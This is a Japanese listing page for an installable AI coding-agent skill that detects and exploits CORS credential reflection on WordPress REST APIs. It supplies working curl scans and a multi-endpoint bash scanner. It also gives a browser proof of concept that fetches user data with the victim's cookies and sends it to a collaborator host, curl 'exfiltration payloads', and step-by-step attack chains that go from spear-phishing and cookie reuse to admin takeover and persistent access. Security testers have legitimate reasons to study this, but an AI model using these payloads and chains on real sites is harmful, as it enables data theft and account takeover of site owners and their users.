cors-credential-wordpress について
WordPress REST API の CORS 設定により、認証情報付きのクロスオリジンデータアクセスが可能かを調べるセキュリティテストスキルです。エンドポイントの確認からブラウザーでの PoC、影響の検証までを扱います。
主な機能
- 01REST API エンドポイントの CORS 動作確認
- 028 種類の CORS 設定パターンの解説
- 03ブラウザー PoC の作成
- 04非公開データの露出検証
活用シーン
- 01WordPress REST API の CORS 問題の評価
- 02ブラウザー経由の非公開データ露出の検証
- 03複数エンドポイントの CORS 動作テスト
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill cors-credential-wordpressインストール後、Claude Code で/cors-credential-wordpressを入力して読み込まれたか確認します。
詳細
CORS 認証情報リフレクション WordPress スキル
WordPress REST API エンドポイントでの CORS 認証情報リフレクションを検出、確認、悪用します。CORS の設定ミスは、米国の中小企業の WordPress サイトで最もよく見つかる重大な問題の 1 つであり(全 WP ターゲットの約 7~8%)、被害者の Cookie を使ったクロスオリジンのデータ窃取を可能にします。8 種類の CORS パターンと、ブラウザー PoC の作成方法をすべて記載しています。
使用するタイミング
wp-mass-reconがAccess-Control-Allow-Credentials: trueを持つターゲットを検出した後。- WordPress サイトの REST API で、クロスオリジンのデータアクセスをテストするとき。
- 攻撃チェーンを構築するとき:CORS → ユーザー列挙 → スピアフィッシング → ATO。
- CORS の検出結果が(単に存在するだけでなく)悪用可能かどうかを検証するとき。
前提条件
- curl および python3。
- ブラウザー PoC の検証用に
web_extractまたはbrowser_navigate。 - ターゲットの WordPress REST API にアクセスできること(
/wp-json/wp/v2/)。
実行方法
# Quick detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"
# Full CORS matrix (10 endpoints)
for ep in "users" "posts" "pages" "media" "comments" "categories" "tags" "settings" "plugins" "themes"; do
echo "=== /wp-json/wp/v2/$ep ==="
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/$ep" -H "Origin: https://evil.com" | grep -iE "access-control|http/"
echo ""
done
クイックリファレンス
| パターン | 検出方法 | 悪用可能性 |
|---|---|---|
| Origin リフレクション + 認証情報 | Access-Control-Allow-Credentials: true + Origin をミラーリング | 重大 — データを完全に窃取可能 |
| Null Origin | Access-Control-Allow-Origin: null | 高 — サンドボックス化された iframe |
| 認証情報なしのワイルドカード | Access-Control-Allow-Origin: *(認証情報なし) | 情報 — 公開データのみ |
| 認証情報付きプリフライト | OPTIONS が 200 + ACAC を返す | 高 — プリフライトなしで GET できる場合 |
| 認証保護されたエンドポイントのみの漏えい | CORS が認証保護されたエンドポイントでのみ有効 | 高 — Cookie の窃取 |
| 複数 Origin | 複数の Origin がリフレクトされる | 重大 — より広い攻撃対象領域 |
| プラグイン固有の CORS | CORS がプラグインの名前空間でのみ有効 | 中 — プラグインデータ |
| ステージング環境のみの CORS | 本番環境では CORS がなく、ステージング環境では有効 | 中 — ステージング環境へのアクセスに依存 |
手順
ステップ 1 — 単一エンドポイントの検出
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" \
-H "User-Agent: Mozilla/5.0" 2>&1
陽性の兆候:
Access-Control-Allow-Origin: https://evil.com(攻撃者の Origin をミラーリング)Access-Control-Allow-Credentials: true(クロスオリジンで Cookie を送信)Access-Control-Allow-Methods: GET(データ窃取の経路)- エンドポイント自体が HTTP 200 を返す(データにアクセス可能)
ステップ 2 — 複数エンドポイントの CORS マトリックス
#!/bin/bash
TARGET="$1"
ENDPOINTS=(
"wp/v2/users"
"wp/v2/posts"
"wp/v2/pages"
"wp/v2/media"
"wp/v2/comments"
"wp/v2/categories"
"wp/v2/tags"
"wc/v3/products"
"wc/v3/orders"
"gf/v2/forms"
"elementor/v1/globals"
"revslider/v1/slides"
)
for ep in "${ENDPOINTS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep")
if [[ "$code" == "200" ]]; then
cors=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
if [[ -n "$cors" ]]; then
echo "[CRITICAL] CORS ON: /wp-json/$ep — data accessible cross-origin"
fi
fi
done
ステップ 3 — ブラウザー PoC(poc.html として保存)
<script>
fetch("https://TARGET/wp-json/wp/v2/users", {
credentials: "include",
headers: { "Origin": "https://evil.com" }
})
.then(r => r.json())
.then(data => {
fetch("https://YOUR_COLLABORATOR/log?d=" + btoa(JSON.stringify(data)));
});
</script>
ステップ 4 — データ窃取ペイロード
# Exfiltrate users with emails
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/users?context=edit" \
-H "Origin: https://evil.com" | python3 -m json.tool | grep -E '"id"|"name"|"slug"|"email"|"roles"'
# Exfiltrate all posts
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/posts?per_page=100" \
-H "Origin: https://evil.com" | python3 -c "
import sys, json
posts = json.load(sys.stdin)
for p in posts:
print(f\"{p['id']}: {p['title']['rendered']}\")
" 2>/dev/null
# Exfiltrate WooCommerce products
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wc/v3/products" \
-H "Origin: https://evil.com" | python3 -m json.tool 2>/dev/null | head -50
攻撃チェーン
チェーン A:CORS → ユーザー列挙 → スピアフィッシング → ATO
- CORS を使って、名前やスラッグを含むすべてのユーザー情報を窃取
- 管理者(
[email protected])宛てのスピアフィッシングメールを作成 - WP のセッション Cookie を窃取する CORS フィッシングページへのリンクを送信
- 窃取したセッションで管理者としてログイン → サイトを完全に侵害
チェーン B:CORS → Cookie 窃取 → API アクセス → ATO
- 被害者がターゲットの WP にログインした状態で、攻撃者のページにアクセス
credentials: "include"を指定した CORS の fetch により、WP 認証 Cookie を送信- 攻撃者が Cookie を再利用し、被害者として
/wp-admin/にアクセス - 管理者のメールアドレスを変更し、パスワードをリセット → 継続的なアクセスを確保
注意点
- プリフライトによるブロック: 一部のサーバーでは、カスタムヘッダーを使う CORS リクエストに OPTIONS プリフライトが必要です。単純な GET(プリフライトなし)と認証情報付き fetch(プリフライトが発生)の両方でテストしてください。
- SameSite Cookie:
SameSite=LaxまたはSameSite=Strictの Cookie は、CORS が有効でもクロスオリジンでは送信されません。ブラウザーで Cookie 属性を確認してください。 - WAF の干渉: Cloudflare が
Originヘッダーを削除したり、クロスオリジンリクエストをブロックしたりする場合があります。Cloudflare を経由しない IP からテストしてください。 - 誤検知:
Access-Control-Allow-Origin: *かつ認証情報なし — これは公開データであり、脆弱性ではありません。重要なのはAccess-Control-Allow-Credentials: trueです。
検証
- curl コマンドの出力に
Access-Control-Allow-Credentials: trueと、攻撃者の Origin に一致する(*ではない)Access-Control-Allow-Originが必ず含まれていること。 - ブラウザー PoC で、別のオリジンから認証情報付きでデータを正常に取得できること。
- 窃取されたデータに、非公開情報(ユーザー、投稿、設定など)が含まれていること(公開 WP メタデータのみではないこと)。
コメント
Markdown 対応